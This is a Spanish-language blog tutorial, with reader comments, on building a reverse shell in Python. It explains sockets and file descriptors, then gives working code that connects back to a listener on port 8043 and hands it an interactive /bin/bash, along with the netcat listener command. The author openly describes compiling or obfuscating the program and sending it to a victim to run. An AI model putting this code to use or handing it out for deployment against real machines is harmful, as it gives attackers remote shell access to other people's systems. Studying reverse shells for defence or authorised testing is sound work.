jueves, 5 de diciembre de 2019

Crea tu primera "Reverse Shell" en Python :D

Reverse Shell en Python:

A menudo de este universo, y no sólo el de Python, también el de la Seguridad Informática, hemos tenido la oportunidad de conocer un poco los "jugueticos" que utilizan los ciber-delincuentes. Entre ellos está la famosa "Reverse Shell" o "Shell Inversa".

¿Qué es una Shell Inversa?:

En primer lugar necesitamos conocer que es una Shell para proseguir. Es sencillo, una shell es un programa informático que puede servir como interfaz con los servicios del sistema que éste nos proporcione.

Por lo tanto, conociendo esta sencilla definición, debemos conocer algo sobre el mundo de las conexiones, pero sí no entiendes nada, te dejo un pequeño modelo llamado "Cliente-Servidor" que es el que se usa mayormente en las shell's.

Una explicación muy simple de este modelo sería que el cliente lo único que desea es conectar para enviar y recibir datos, pero lo que hace que varie es el protocolo utilizado, por ejemplo, usando el protocolo HTTP tú puedes visualizar esta página usando un navegador (Cliente) que se conecta a pythondiario.com (Servidor).

¿Cómo entra este modelo en el tema?. Hay dos tipos de conexiones para lograr un ataque exitoso, el inverso y el directo. El inverso es recomendable y lo tocaremos en este artículo, aunque dando una sencilla explicación "es cuando la victima se conecta a nosotros", mientras que el directo, es el proceso contrario, tendremos que conectarnos a la máquina victima.

Una conexión directa en este tema, tiene una ventaja, la persistencia es un poco más fácil, ya que lo único que tenemos que hacer es conectarnos cuando deseemos.

Espero te haya quedado claro, no quiero ampliar mucho todo el tema porque es innecesario hacerlo, me estaria desviando del tema principal. Ahora sí, comencemos...

Creando nuestra primera "Reverse Shell" en Python

Bien, es sencillo usando este lenguaje de programación, lo único que debemos tener en cuenta son el uso de "Sockets" y los "Descriptores de archivo".

Primero hablemos de los sockets. Imaginense que una persona tiene una cuerda atada a una mano y se la envía a otra persona con el fin de comunicarse (magicamente); algo así pasa en los sockets, un cliente necesita comunicarse con un servidor y este simplemente se conecta, claro sí deseamos seguir un protocolo especifico cómo les indique HTTP, en la metáfora de la cuerda podria decirse que el protocolo sería la forma en que se lanza y se amarra la cuerda al otro extremo.

Ahora hablemos de los descriptores de archivo. Hay tres flujos en la Entrada y Salida (E/S o en Inglés I/O), estos son llamados:

STDIN (Standard Input): Es la entrada de los datos. Puede ser enviada por un teclado o por cualquier dispositivo físico o electrónico que desea comunicarse con el programa en espera.
STDOUT (Standard Output): Es la salida de los datos, cómo el resultado de una operación mayormente exitosa.
STDERR (Standard Error): Es la salida de los datos, pero está vez cuando es causada por un error.

Aunque el "STDEER" puede ser redireccionado en "STDOUT", no debería realizarse de esta manera, porque un sistema que sea capaz de leer e interpretar las dos salidas no sabra quien es qué.

Ahora te preguntas: ¿Por qué necesito aprendeme ésto?; Es necesario, porque sí deseas saber cómo funciona el mundo de redes "Aprendes Sockets" y en nuestro caso que queremos ampliar el conocimiento necesitamos aprender sobre los descriptores de archivos que no sólo son aplicados para estos casos, también se pueden observar en un Sistema Operativo GNU/Linux.

Ya dejemos de tanta teoria pasemos a la practica... perdón al código:

Lo primero que haremos será crear un cliente que se conecte a nuestro servidor y envié una shell interactiva:


# Importamos la librería estandar para usar sockets
import socket
# Importamos la librería subprocess para interactuar con los sub-procesos creados
from subprocess import Popen

# RHOST (Remote Host), es la dirección IP/Nombre de host
# a la que se conectara la victima, osea nuestro servidor
RHOST = 'localhost'
# RPORT (Remote Port), Es el puerto que estará escuchando
# en nuestra máquina
RPORT = 8043
# La shell a enviarnos; en la ejecución de un sub-proceso
# con la librería subprocess se usa un array para indicar un
# parámetro.
SHELL = ['/bin/bash', '-i']

# Creamos una nueva instancia y luego definimos que usaremos
# la familia IPV4 (AF_INET) por el protocolo de transporte TCP
# (SOCK_STREAM).
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Conectamos
sock.connect((RHOST, RPORT))
# Nos indica los descriptores, en caso de fallo es "-1" y mayormente
# es 3 en caso de éxito.
descriptor = sock.fileno()
# ¿Recuerdan los descriptores?
Popen(SHELL, stdin=descriptor, stdout=descriptor, stderr=descriptor)


Listo, con lo mostrado anteriormente tendriamos una conexión inversa y un control desde la máquina victima hacia nosotros, el atacante. Aunque hay no se queda la cosa; para poder recibir datos necesitamos un servidor, pero no hay nada de malo en salirnos un poco de Python e interactuar con las herramientas del sistema. Usaremos "Netcat" cómo apoyo:

nc -lvvp 8043
listening on [any] 8043 ...

Bien, una vez tenemos todo listo, lo que debemos hacer es compilar a un ejecutable, ofuscarlo o simplemente dejarlo así, para enviarselo a la victima y que lo ejecute para tener control.

En mi caso lo dejare así y veo la prueba:


Eso funciona bien en Linux, pero hay algunos inconvenientes:

  • TAB no funciona
  • En el caso de usar las teclas «LEFT» «RIGHT» «UP» y «DOWN» no funcionara
  • CTRL-C, matas a Netcat, no a un proceso generado en la máquina victima
  • CTRL-Z, pausas Netcat, no un proceso generado en la máquina victima
  • ...
Hay varios inconvenientes, pero yo me sé la solución y es muy fácil, pero necesitare su apoyo para seguir con una segunda parte y explicar cómo sería el proceso en Windows.

6 comentarios :
Write comentarios
  1. gracias por todás las explicaciones que nos dais. Aquí estamos leíndo vuestra página,

    ResponderEliminar
  2. Todo muy sencilla y claramente explicado

    ResponderEliminar
    Respuestas
    1. Es mejor que sea sencillo y divertido estos temas. Gracias por comentar :'D

      Eliminar
  3. muy buena explicación, gracias y espero la próxima publicación

    ResponderEliminar

Tu comentario es importante y nos motiva a seguir escribiendo...

Powered by Blogger .